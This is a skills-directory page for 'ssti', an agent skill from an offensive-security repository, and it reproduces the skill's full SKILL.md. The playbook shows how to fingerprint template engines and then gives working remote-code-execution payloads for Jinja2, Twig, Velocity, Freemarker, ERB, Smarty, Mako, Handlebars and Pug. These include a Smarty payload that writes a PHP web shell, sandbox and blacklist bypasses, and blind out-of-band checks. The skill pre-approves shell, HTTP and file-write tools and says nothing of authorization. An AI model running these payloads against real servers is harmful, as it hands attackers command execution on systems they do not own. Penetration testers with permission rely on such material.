Agent skill

Ssti

by PentesterFlow in PentesterFlow/agent

Server-Side Template Injection — fingerprint the engine first (Jinja2 / Twig / Velocity / Freemarker / ERB / Smarty / Mako / Handlebars / Pug), then escalate the engine-specific primitive to RCE or…

Apache-2.0Auto-check passedSecurity

Install Ssti

skills CLI
$ npx skills add PentesterFlow/agent --skill ssti -a claude-code

Project install by default; add -g for ~/.claude/skills/.

GitHub CLI
$ gh skill install PentesterFlow/agent ssti --agent claude-code

Project scope by default; add --scope user for a personal install. Needs GitHub CLI 2.90.0 or later (public preview).

Manual copy
$ git clone --depth 1 https://github.com/PentesterFlow/agent.git skills-src && mkdir -p .claude/skills && cp -r skills-src/skills/ssti .claude/skills/ssti && rm -rf skills-src

Use ~/.claude/skills/ instead of .claude/skills for a personal install. The folder must contain SKILL.md.

Claude Code skills documentation · loads skills from .claude/skills/

Facts

Skill name
ssti
GitHub stars
1.4k
Token cost
~1.2k tokens
SKILL.md length
375 words
Files
3
Skills in repo
5
Repo updated
First seen
Licence
Apache-2.0

At a glance

Server-Side Template Injection — fingerprint the engine first (Jinja2 / Twig / Velocity / Freemarker / ERB / Smarty / Mako / Handlebars / Pug), then escalate the engine-specific primitive to RCE or…

  • Works in 4 steps: Fingerprint the engine — fast → Engine-specific exploitation → Sandbox escape thinking → …
  • User input is reflected through a template engine (Jinja2/Twig/Velocity/Freemarker/ERB/Smarty/Mako/Handlebars/Pug)
  • SKILL.md covers 1. Fingerprint the engine — fast, 2. Engine-specific exploitation, 3. Sandbox escape thinking and 4. Blind SSTI, plus 1 more section
  • Instructions only: no scripts, shell commands, URLs or credentials in SKILL.md

What it does

Ssti is an agent skill from PentesterFlow/agent. Server-Side Template Injection — fingerprint the engine first (Jinja2 / Twig / Velocity / Freemarker / ERB / Smarty / Mako / Handlebars / Pug), then escalate the engine-specific primitive to RCE or sandbox escape. Use when user input is reflected through a template engine (Jinja2/Twig/Velocity/Freemarker/ERB/Smarty/Mako/Handlebars/Pug) or {{77}} evaluates to 49.

Its SKILL.md is about 1.2k tokens, which your agent loads only when the skill is triggered. The skill folder holds 3 other files.

It sits in Security, covering Backend development and Penetration testing. It works with PHP, Java and Python. The repository describes itself as: Agentic offensive-security in your terminal. The licence is Apache-2.0.

When your agent uses it

  • User input is reflected through a template engine (Jinja2/Twig/Velocity/Freemarker/ERB/Smarty/Mako/Handlebars/Pug)
  • {{77}} evaluates to 49

Example prompts

  • “/ssti”

Requirements

  • Pre-approved tools (allowed-tools): http, shell, read_payloads, file_write

Workflow steps

4 steps, taken from the step headings in SKILL.md.

  1. Fingerprint the engine — fast
  2. Engine-specific exploitation
  3. Sandbox escape thinking
  4. Blind SSTI

What it can do on your machine

Read from SKILL.md and the folder at commit 0759d87. It shows what the files ask for, not the result of running them.

  • Tool permissions

    Pre-approves these tools, so the agent can use them without asking each time:

    • http
    • shell
    • read_payloads
    • file_write

    From allowed-tools in the SKILL.md frontmatter.

  • Runs code

    No scripts in the folder and no shell commands in SKILL.md.

    From the folder's file list and the shell code blocks in SKILL.md.

  • Network

    No URLs in SKILL.md.

    From URLs in SKILL.md, links to its own repository left out.

  • Credentials

    Names no API keys, tokens, secrets or passwords.

    From names ending in _API_KEY, _TOKEN, _SECRET, _KEY or _PASSWORD in SKILL.md.

Context cost

Ssti loads about 1.2k tokens when it runs. Until then it costs about 93 tokens; SKILL.md has 375 words of instructions outside code blocks.

Always · name and description, kept in context so the agent knows when to use it
~93
When it runs · the whole SKILL.md, loaded when a task matches
~1.2k

Estimates: characters ÷ 4, the usual rule of thumb; real counts depend on the model's tokenizer. Scripts and assets cost tokens only if the agent reads them.

Safety

Auto-check passed

The automated check found no risky patterns in SKILL.md.

Automated static check — not a guarantee. Review scripts before installing. It scans the text of SKILL.md for risky patterns (piping downloads into a shell, reading credential files, hidden Unicode, destructive commands); files beside SKILL.md are not scanned.

SKILL.md

The full file from PentesterFlow/agent at commit 0759d87, republished under its Apache-2.0 licence (© PentesterFlow). 375 words, ~1,244 tokens.

Download SKILL.mdSave it as .claude/skills/ssti/SKILL.md (or your agent's skills folder). This skill also uses 2 other files; get the full folder from GitHub.
name
ssti
description
Server-Side Template Injection — fingerprint the engine first (Jinja2 / Twig / Velocity / Freemarker / ERB / Smarty / Mako / Handlebars / Pug), then escalate the engine-specific primitive to RCE or sandbox escape. Use when user input is reflected through a template engine (Jinja2/Twig/Velocity/Freemarker/ERB/Smarty/Mako/Handlebars/Pug) or {{7*7}} evaluates to 49.
allowed-tools
http, shell, read_payloads, file_write

SSTI playbook

You suspect user input is concatenated into a server-side template. The classic tell: {{7*7}} renders as 49 (not as the literal). But that's only the start — to file a real bug you must identify the engine, then prove RCE or read sensitive state.

Execution rule: send probes to the real reflected parameter or template sink before escalating. Never write literal placeholder values to files; if the sink is unknown, first discover it with http/curl.

1. Fingerprint the engine — fast

Use read_payloads(skill="ssti", file="fingerprint-polyglot.txt") for the canonical multi-engine probe:

${7*7}
{{7*7}}
<%= 7*7 %>
*{7*7}
{{7*'7'}}

Cross-reference results:

Render resultEngine
49 from {{7*7}} AND 7777777 from {{7*'7'}}Jinja2 (Python)
49 from {{7*7}} AND 49 from {{7*'7'}}Twig (PHP)
49 from ${7*7}Velocity / Freemarker / Mako (probe further)
49 from <%= 7*7 %>ERB (Ruby) / EJS (Node)
49 from *{7*7}Smarty
Output of {{7*7}} literallyNot an SSTI primitive — look elsewhere

Distinguish Velocity from Freemarker: ${"foo".getClass()} returns class java.lang.String for both; Freemarker chokes on <#assign> outside a template block; Velocity specifically renders #set($x=7*7)$x as 49.

2. Engine-specific exploitation

Jinja2 (Python, Flask)
{{ ''.__class__.__mro__[1].__subclasses__() }}

Find an index where the subclass is <class 'subprocess.Popen'> (commonly 200–400). Then:

{{ ''.__class__.__mro__[1].__subclasses__()[N]('id', shell=True, stdout=-1).communicate() }}

Bypass blacklists with attribute proxies:

{{request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('os')|attr('popen')('id')|attr('read')()}}

Payloads: read_payloads(skill="ssti", file="jinja2.txt").

Twig (PHP, Symfony)

Twig blocks most function access. Two proven escapes:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{['id']|filter('system')}}

Older versions: {{['id',1]|sort('passthru')}}.

Velocity (Java, NVelocity)
#set($e="exp")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null).exec("id")
Freemarker (Java)

Built-in ?eval, or the classic exec gadget:

<#assign value="freemarker.template.utility.Execute"?new()>${value("id")}
ERB (Ruby)
<%= `id` %>
<%= system("id") %>
<%= IO.popen("id").read %>
Smarty (PHP)
{php}echo `id`;{/php}    {# pre-3.1.30 #}
{system('id')}           {# some forks #}

Newer Smarty: {Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php system($_GET['c']);?>",self::clearConfig())}.

Show full SKILL.md (150 more words)Show less
Mako (Python)
${self.module.cache.util.os.popen('id').read()}
<% import os; x=os.popen('id').read() %>${x}
Handlebars (Node)
{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.push "return require('child_process').execSync('id');"}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push (lookup conslist.0 "apply")}}
        {{this.apply 0 codelist}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}
Pug / Jade (Node)
#{ root.process.mainModule.require('child_process').execSync('id').toString() }

3. Sandbox escape thinking

If {{7*7}} works but exec is blocked:

  • Try filter chains and pipes that hand off through string types (Twig).
  • Try indirect-attribute access (['__class__'] instead of .__class__).
  • Try Unicode escapes on the dangerous keyword ({{ ''.__class__ }}).
  • Read the engine's source for the relevant version — most "sandboxes" have a documented escape.

4. Blind SSTI

If the rendered template never returns to you (sent in email, server-to-server message), confirm with side-channels:

  • DNS callback via OS exec.
  • HTTP callback to an out-of-band listener.
  • Timing: render an expensive loop and measure response delay.

Reporting

For each finding include:

  • The exact input field where the payload landed.
  • The fingerprint output ({{7*7}} → 49 etc) — proves it's SSTI not arithmetic on the client.
  • An exec PoC (id output preferred) OR, if RCE is gated, a clear sensitive-data read (env vars, config file).
  • Engine + version inferred and from where.

© PentesterFlow, Apache-2.0. Rendered from Markdown: HTML in the file is shown as text, images as links, and headings moved down two levels. Raw file

Files

SKILL.md and 2 other files in skills/ssti of PentesterFlow/agent.

  • SKILL.md
  • payloads/fingerprint-polyglot.txt
  • payloads/jinja2.txt

Open the folder on GitHubat commit 0759d87

Compare with similar skills

Ssti next to the 5 skills that share the most tags, products or categories with it. Stars are the repository's; “used in” counts other GitHub owners with a copy.

Ssti compared with similar skills
SkillStarsUsed inTokensAuto-checkLicenceRepo updated
Ssti this skillPentesterFlow/agent1.4k—~1.2kAutomated safety check: PassApache-2.0
Deserialization TestingNeoTheCapt/RedteamAgent142—~836Automated safety check: PassNone
Ssti TestingNeoTheCapt/RedteamAgent142—~748Automated safety check: PassNone
Assess Migrationmendixlabs/mxcli128—~3.6kAutomated safety check: NotesApache-2.0
Code Audit3stoneBrother/code-audit8931 repos~2.7kAutomated safety check: PassNone
Skylosduriantaco/skylos843—~581Automated safety check: PassApache-2.0

Similar skills

  • Deserialization Testing

    NeoTheCapt/RedteamAgent

    Insecure deserialization detection and gadget chain exploitation

    142 GitHub stars~836 tokensUpdated 2 mo ago
    SecurityAuto-check passed
  • Ssti Testing

    NeoTheCapt/RedteamAgent

    Server-side template injection detection, engine identification, and RCE

    142 GitHub stars~748 tokensUpdated 2 mo ago
    SecurityAuto-check passed
  • Assess Migration

    mendixlabs/mxcli

    Investigate an existing non-Mendix application (Java, .NET, Python, Node, PHP, …) and produce a structured migration assessment for Mendix.

    128 GitHub stars~3.6k tokensUpdated today
    Backend & APIsAuto-check: notes
  • Code Audit

    3stoneBrother/code-audit

    Professional code security audit skill covering 55+ vulnerability types.

    893 GitHub starsUsed in 1 repo~2.7k tokens
    SecurityAuto-check passed
  • Skylos

    duriantaco/skylos

    Run, interpret, or modify Skylos safely. An agent skill from duriantaco/skylos.

    843 GitHub stars~581 tokensUpdated today
    SecurityAuto-check passed
  • Skylos Security

    duriantaco/skylos

    Investigate and harden Skylos security behavior. An agent skill from duriantaco/skylos.

    843 GitHub stars~545 tokensUpdated today
    SecurityAuto-check passed

More from PentesterFlow/agent

  • Fingerprints which language or framework produced a serialized blob, then helps build a working gadget chain to test for insecure deserialization.

    1.4k GitHub stars~1.7k tokensUpdated 1 mo ago
    Auto-check passed
  • External Recon Playbook

    PentesterFlow/agent

    Maps the attack surface of a web domain you are authorized to test: confirms scope, lists subdomains from public sources, probes live hosts and fingerprints technology.

    1.4k GitHub stars~1.2k tokensUpdated 1 mo ago
    Auto-check passed
  • Takeover

    PentesterFlow/agent

    Subdomain takeover playbook — sweep subdomains for dangling CNAMEs / NS records pointing at unclaimed third-party resources (GitHub Pages, S3, Heroku, Azure, Netlify, Shopify, ...), confirm with the…

    1.4k GitHub stars~3.3k tokensUpdated 1 mo ago
    Auto-check passed
  • Webvuln

    PentesterFlow/agent

    Web vulnerability hunting playbook. An agent skill from PentesterFlow/agent.

    1.4k GitHub stars~1.2k tokensUpdated 1 mo ago
    Auto-check passed

Works with

Questions about Ssti

What does Ssti do?

Server-Side Template Injection — fingerprint the engine first (Jinja2 / Twig / Velocity / Freemarker / ERB / Smarty / Mako / Handlebars / Pug), then escalate the engine-specific primitive to RCE or…. Ssti is an agent skill from PentesterFlow/agent. Server-Side Template Injection — fingerprint the engine first (Jinja2 / Twig / Velocity / Freemarker / ERB / Smarty / Mako / Handlebars / Pug), then escalate the engine-specific primitive to RCE or sandbox escape.

When should I use Ssti?

Ssti fits situations like: user input is reflected through a template engine (Jinja2/Twig/Velocity/Freemarker/ERB/Smarty/Mako/Handlebars/Pug); {{77}} evaluates to 49.

How do I install Ssti in Claude Code?

Run `npx skills add PentesterFlow/agent --skill ssti -a claude-code`. Or copy the skill folder (skills/ssti in PentesterFlow/agent) into .claude/skills/ssti in your project. Claude Code loads it when a task matches its description.

How do I install Ssti in Codex?

Run `npx skills add PentesterFlow/agent --skill ssti -a codex`. Or copy the skill folder (skills/ssti in PentesterFlow/agent) into .agents/skills/ssti in your project. Codex loads it when a task matches its description.

Can I use Ssti in Cursor, Gemini CLI or GitHub Copilot?

Cursor, Gemini CLI, GitHub Copilot and OpenCode also load SKILL.md folders. With the skills CLI, run `npx skills add PentesterFlow/agent --skill ssti -a cursor` (or -a gemini-cli, github-copilot or opencode for the others). To copy it by hand, put the folder in .cursor/skills/ssti, .gemini/skills/ssti, .github/skills/ssti and .opencode/skills/ssti in your project.

What does Ssti need to run?

SKILL.md names no scripts, command-line tools or credentials: Ssti is instructions for the agent only. Its frontmatter pre-approves these tools: http, shell, read_payloads, file_write.

Does Ssti access the network?

SKILL.md contains no URLs. Any network use would come from the scripts or tools the agent runs. This is read from the text; nothing was executed.

Is Ssti safe to install?

Our automated static check of SKILL.md found no risky patterns, such as piping downloads into a shell, reading credential files or hidden Unicode. It is not a guarantee. Review the folder before installing.

What licence does Ssti use?

Ssti is published under the Apache-2.0 licence (the repository's licence). It allows redistribution, so the full SKILL.md is shown on this page.

How many tokens does Ssti use?

About 1.2k tokens (SKILL.md is roughly 5k characters). Agents keep only the skill's name and description in context until a task matches; then they load SKILL.md in full.

What are the alternatives to Ssti?

Skills that share tags, products or a category with Ssti: Deserialization Testing (NeoTheCapt/RedteamAgent, 142 stars), Ssti Testing (NeoTheCapt/RedteamAgent, 142 stars), Assess Migration (mendixlabs/mxcli, 128 stars) and Code Audit (3stoneBrother/code-audit, 893 stars). The comparison table on this page puts their stars, adoption, token cost, safety result and licence side by side.

Who maintains Ssti?

PentesterFlow (a GitHub user) maintains it in PentesterFlow/agent, which has 1,391 GitHub stars. The repository holds 5 skills in this directory. The repository was last updated on August 31, 2026.

Source: PentesterFlow/agent on GitHub. Facts on this page come from the repository at the commit we read; the author's words are quoted as theirs.